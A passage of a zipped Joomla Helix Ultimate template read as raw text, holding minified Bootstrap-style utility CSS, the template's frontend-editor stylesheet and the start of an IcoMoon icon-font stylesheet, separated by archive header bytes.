:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!important}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}}
PK!�9ct�:�:,helixultimate/assets/css/frontend-editor.cssnu&1i�#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format{position:relative;display:inline-block;vertical-align:middle;white-space:nowrap}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline{margin:0;margin-right:-5px;padding-left:0}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline label{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:13px;line-height:18px;text-align:center;vertical-align:middle;cursor:pointer;background-color:#f3f3f3;color:#333;border-top:1px solid #b3b3b3;border-right:1px solid #b3b3b3;border-bottom:1px solid #b3b3b3;box-shadow:0 1px 2px rgba(0,0,0,.05);border-radius:0}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline label.btn-success{background:#46a546;color:#fff}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline label input[type=radio]{display:none!important}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline:last-child label{border-top-right-radius:3px;border-bottom-right-radius:3px}#attrib-helix_ultimate_blog_options #jform_attribs_helix_ultimate_article_format .form-check-inline:first-child label{border-left:1px solid #b3b3b3;border-top-left-radius:3px;border-bottom-left-radius:3px}.com-contenthistory .btn-group{display:flex;justify-content:flex-end}.com-contenthistory .btn-group button{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:13px;line-height:18px;text-align:center;vertical-align:middle;cursor:pointer;color:#333;text-shadow:0 1px 1px rgba(255,255,255,.75);background-color:#f5f5f5;background-repeat:repeat-x;border:1px solid #bbb;border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05)}.com-contenthistory .btn-group button:hover{color:#333;background-color:#e9e9e9}#versionsModal{top:10%}#versionsModal .modal-dialog{max-width:80%}#versionsModal iframe{min-height:300px}body.com-content.view-form.layout-edit .nav-tabs .nav-link{display:block!important}.no-js img.lazyload{display:none}#system-message-container{position:fixed;bottom:0;right:15px;max-width:350px}#system-message-container .alert{font-size:13px;line-height:1.5}#system-message-container .alert>.btn-close{position:absolute;right:5px;top:5px;cursor:pointer}#system-message-container joomla-alert{font-size:13px}.com-users.view-profile #member-profile .modal-dialog,.com-users.view-profile #member-registration .modal-dialog,.com-users.view-registration #member-profile .modal-dialog,.com-users.view-registration #member-registration .modal-dialog{display:flex;align-items:center;min-height:calc(100% - 1rem)}body.com-users.view-registration>#sbox-window{overflow:hidden}body.com-users.view-registration>#sbox-window>#sbox-btn-close{top:5px;right:5px}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset>.joomla-tabs{display:flex;padding:0;margin:0!important;overflow-x:auto;overflow-y:hidden;white-space:nowrap;list-style:outside none none;background-color:#f5f5f5;border-color:#ccc;border-style:solid solid none;border-width:1px 1px 0;border-radius:.25rem .25rem 0 0;border-image:none;box-shadow:0 1px #fff inset,0 2px 3px -3px #000}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset>.joomla-tabs .nav-item>.nav-link{color:var(--text-color)}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset>.joomla-tabs .nav-item>.nav-link.active{background-color:rgba(0,0,0,.03);background-image:linear-gradient(to bottom,transparent,rgba(0,0,0,.05) 100%);border-right:0 none;border-left:0 none;border-top-left-radius:0;border-top-right-radius:0}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset>.tab-content{padding:15px;background-color:#fefefe;border:1px solid #ccc;border-radius:0 0 .25rem .25rem}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #editor label#jform_title-lbl{margin-bottom:15px;font-weight:700}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #editor .js-editor-tinymce{display:flex;flex-direction:column}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #attrib-helix_ultimate_blog_options>.control-group,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #metadata>.control-group,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #publishing>.control-group{display:flex;flex-direction:column}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #attrib-helix_ultimate_blog_options>.control-group>label,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #metadata>.control-group>label,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #publishing>.control-group>label{margin-bottom:5px;font-weight:700}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #attrib-helix_ultimate_blog_options>.control-group textarea,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #metadata>.control-group textarea,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #publishing>.control-group textarea{width:100%}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #attrib-helix_ultimate_blog_options>.control-group .calendar-container .time td select,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #metadata>.control-group .calendar-container .time td select,body.helix-ultimate.hu.view-form.layout-edit .edit.item-page>#adminForm>fieldset #publishing>.control-group .calendar-container .time td select{padding:4px;font-size:13px}body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid{display:flex;max-width:100%}body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid .span8{flex:auto}body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid .span8>.controls{margin-left:10px;display:flex;max-width:500px}body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid .span8>.controls #folderlist,body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid .span8>.controls #folderlist_chzn{flex:auto}body.contentpane.com-media.view-images .container-popup #imageForm>#messages+.well .row-fluid .span8 #upbutton{background:var(--bs-primary);color:#fff;margin:0 5px}body.contentpane.com-media.view-images .container-popup #imageForm .well>.row-fluid:not(:last-child){margin-bottom:5px}body.contentpane.com-media.view-images .container-popup #imageForm .well>.row-fluid:not(:last-child)>.control-group:not(:last-child){margin-bottom:5px}body.contentpane.com-media.view-images .container-popup #imageForm .btn.button-cancel{background:var(--bs-danger);color:#fff}body.contentpane.com-media.view-images .container-popup #imageForm .btn.button-cancel:focus,body.contentpane.com-media.view-images .container-popup #imageForm .btn.button-cancel:hover{border-color:var(--bs-danger)}body.contentpane.com-menus.view-items.layout-modal #adminForm .js-stools-container-bar{display:flex}body.contentpane.com-modules.view-modules.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar{display:flex;align-items:center;padding:10px 0}body.contentpane.com-modules.view-modules.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>label{margin-right:10px}body.contentpane.com-modules.view-modules.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append{display:flex}body.contentpane.com-modules.view-modules.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append>button[type=submit]{background:var(--bs-primary);color:#fff;margin-left:5px}body.contentpane.com-modules.view-modules.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper>button[type=button]{background:var(--bs-primary);color:#fff}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools,body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools,body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools{padding-top:15px}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar,body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar,body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar{margin-bottom:10px}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>label,body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>label,body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>label{margin-right:10px}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append,body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append,body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append{display:flex}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append>button[type=submit],body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append>button[type=submit],body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper.input-append>button[type=submit]{background:var(--bs-primary);color:#fff;margin-left:5px}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper>button[type=button],body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper>button[type=button],body.contentpane.com-menus.view-items.layout-modal .container-popup #adminForm>.js-stools .js-stools-container-bar>.btn-wrapper>button[type=button]{background:var(--bs-primary);color:#fff}body.contentpane.com-contact.view-contacts.layout-modal .container-popup #adminForm .js-stools-container-bar,body.contentpane.com-content.view-articles.layout-modal .container-popup #adminForm .js-stools-container-bar{display:flex;align-items:center}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page.joomla4 iframe{width:100%}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page.joomla4 .jviewport-height70{height:70vh}body.helix-ultimate.hu.view-form.layout-edit .edit.item-page.joomla4 [class*=jviewport-height] iframe{height:100%}body.contentpane.joomla4.layout-modal div[role=tooltip]{display:none}body.contentpane.joomla4.layout-modal .js-stools-container-bar>.btn-toolbar{align-items:center;justify-content:space-between;width:100%}body.contentpane.joomla4.layout-modal .js-stools-container-bar>.btn-toolbar>.ordering-select{display:flex}body.contentpane.joomla4.layout-modal .custom-select,body.contentpane.joomla4.layout-modal .form-select{display:block;width:100%;padding:.6rem 4rem .6rem 1rem;font-size:13px;font-weight:400;line-height:1.25;color:#22262a;vertical-align:middle;background-image:url(../images/select-bg.svg);background-repeat:no-repeat;background-position:right 1rem center;background-size:116rem;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}body.contentpane.joomla4.layout-modal .custom-select:focus,body.contentpane.joomla4.layout-modal .form-select:focus{border-color:#8894aa;outline:0;box-shadow:0 0 0 .25rem rgba(0,0,0)}body.contentpane.joomla4.layout-modal .form-select[multiple],body.contentpane.joomla4.layout-modal .form-select[size]:not([size='1']),body.contentpane.joomla4.layout-modal [multiple].custom-select,body.contentpane.joomla4.layout-modal [size].custom-select:not([size='1']){padding-right:1rem;background-image:none}body.contentpane.joomla4.layout-modal .custom-select:disabled,body.contentpane.joomla4.layout-modal .form-select:disabled{color:#6d757e;background-color:#eaedf0}body.contentpane.joomla4.layout-modal .custom-select:-moz-focusring,body.contentpane.joomla4.layout-modal .form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #22262a}body.contentpane.joomla4.layout-modal .js-stools-container-bar{padding:10px 20px}body.contentpane.joomla4.layout-modal .js-stools-container-bar .btn-toolbar{justify-content:flex-end}body.contentpane.joomla4.layout-modal .js-stools-container-bar .btn-toolbar>*{margin:4px 0;-webkit-margin-end:8px;margin-inline-end:8px}body.contentpane.joomla4.layout-modal .js-stools-container-bar .btn-toolbar .js-stools-btn-clear{background-color:#30638d;border:0}body.contentpane.joomla4.layout-modal .js-stools-container-bar .ordering-select{display:flex}body.contentpane.joomla4.layout-modal .js-stools-container-filters{display:none;padding:0 20px;margin-bottom:20px}body.contentpane.joomla4.layout-modal .js-stools-container-filters-visible{display:grid;grid-gap:8px;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));padding:10px;background-color:#fff}body.contentpane.joomla4.layout-modal .js-stools-container-filters>*{margin:4px 0;-webkit-margin-end:8px;margin-inline-end:8px}body.contentpane.joomla4.layout-modal .js-stools-field-list+.js-stools-field-list{-webkit-margin-start:8px;margin-inline-start:8px}.field-calendar>.js-calendar.hidden{display:none}.hu-content-edit .choices__button_joomla{position:relative;text-indent:-9999px;overflow:hidden;background-color:transparent;outline:0;border:none}.hu-content-edit .choices__button_joomla::before{position:absolute;top:0;right:0;bottom:0;display:block;text-align:center;text-indent:0;content:'×'}.subhead{position:sticky;top:0;right:0;left:0;z-index:1000;width:auto;min-height:43px;padding:10px 0;color:#495057;background:#fff;box-shadow:-3px -2px 22px #ddd}.subhead.noshadow{box-shadow:none}.subhead .btn{padding:0 1rem;margin:5px 0;font-size:1rem;line-height:2.45rem;color:#495057;background:#fff;border-color:#adb5bd}.subhead .btn-group,.subhead joomla-toolbar-button{-webkit-margin-start:.75rem;margin-inline-start:.75rem}.subhead .btn-group:first-child,.subhead joomla-toolbar-button:first-child{-webkit-margin-start:0;margin-inline-start:0}PK!�)]V(V($helixultimate/assets/css/icomoon.cssnu&1i�@font-face{font-family:IcoMoon;src:url(../../../../../media/jui/fonts/IcoMoon.eot);src:url(../../../../../media/jui/fonts/IcoMoon.eot?#iefix) format('embedded-opentype'),url(../../../../../media/jui/fonts/IcoMoon.woff) format('woff'),url(../../../../../media/jui/fonts/IcoMoon.ttf) format('truetype'),url(../../../../../media/jui/fonts/IcoMoon.svg#IcoMoon) format('svg');font-weight:400;font-style:normal}[data-icon]:before{font-family:IcoMoon;content:attr(data-icon);speak:none}[class*=" icon-"],[class^=icon-]{display:inline-block;width:14px;height:14px;margin-right:.25em;line-height:14px}[class*=" icon-"]:before,[class^=icon-]:before{font-family:IcoMoon;font-style:normal;speak:none}[class*=" icon-"].disabled,[class^=icon-].disabled{font-weight:400}.icon-joomla:before{content:"\e200"}.icon-arrow-up:before,.icon-chevron-up:before,.icon-uparrow:before{content:"\e005"}.icon-arrow-right:before,.icon-chevron-right:before,.icon-rightarrow:before{content:"\e006"}.icon-arrow-down:before,.icon-chevron-down:before,.icon-downarrow:before{content:"\e007"}.icon-arrow-left:before,.icon-chevron-left:before,.icon-leftarrow:before{content:"\e008"}.icon-arrow-first:before{content:"\e003"}.icon-arrow-last:before{content:"\e004"}.icon-arrow-up-2:before{content:"\e009"}.icon-arrow-right-2:before{content:"\e00a"}.icon-arrow-down-2:before{content:"\e00b"}.icon-arrow-left-2:before{content:"\e00c"}.icon-arrow-up-3:before{content:"\e00f"}.icon-arrow-right-3:before{content:"\e010"}.icon-arrow-down-3:before{content:"\e011"}.icon-arrow-left-3:before{content:"\e012"}.icon-menu-2:before{content:"\e00e"}.icon-arrow-up-4:before{content:"\e201"}.icon-arrow-right-4:before{content:"\e202"}.icon-arrow-down-4:before{content:"\e203"}.icon-arrow-left-4:before{content:"\e204"}.icon-redo:before,.icon-share:before{content:"\27"}.icon-undo:before{content:"\28"}.icon-forward-2:before{content:"\e205"}.icon-backward-2:before,.icon-reply:before{content:"\e206"}.icon-redo-2:before,.icon-refresh:before,.icon-unblock:before{content:"\6c"}.icon-undo-2:before{content:"\e207"}.icon-move:before{content:"\7a"}.icon-expand:before{content:"\66"}.icon-contract:before{content:"\67"}.icon-expand-2:before{content:"\68"}.icon-contract-2:before{content:"\69"}.icon-play:before{content:"\e208"}.icon-pause:before{content:"\e209"}.icon-stop:before{content:"\e210"}.icon-backward:before,.icon-previous:before{content:"\7c"}.icon-forward:before,.icon-next:before{content:"\7b"}.icon-first:before{content:"\7d"}.icon-last:before{content:"\e000"}.icon-play-circle:before{content:"\e00d"}.icon-pause-circle:before{content:"\e211"}.icon-stop-circle:before{content:"\e212"}.icon-backward-circle:before{content:"\e213"}.icon-forward-circle:before{content:"\e214"}.icon-loop:before{content:"\e001"}.icon-shuffle:before{content:"\e002"}.icon-search:before{content:"\53"}.icon-zoom-in:before{content:"\64"}.icon-zoom-out:before{content:"\65"}.icon-apply:before,.icon-edit:before,.icon-pencil:before{content:"\2b"}.icon-pencil-2:before{content:"\2c"}.icon-brush:before{content:"\3b"}.icon-plus-2:before,.icon-save-new:before{content:"\5d"}.icon-minus-2:before,.icon-minus-sign:before{content:"\5e"}.icon-cancel-2:before,.icon-delete:before,.icon-remove:before{content:"\49"}.icon-checkmark:before,.icon-ok:before,.icon-publish:before,.icon-save:before{content:"\47"}.icon-new:before,.icon-plus:before{content:"\2a"}.icon-plus-circle:before{content:"\e215"}.icon-minus:before,.icon-not-ok:before{content:"\4b"}.icon-ban-circle:before,.icon-minus-circle:before{content:"\e216"}.icon-cancel:before,.icon-unpublish:before{content:"\4a"}.icon-cancel-ci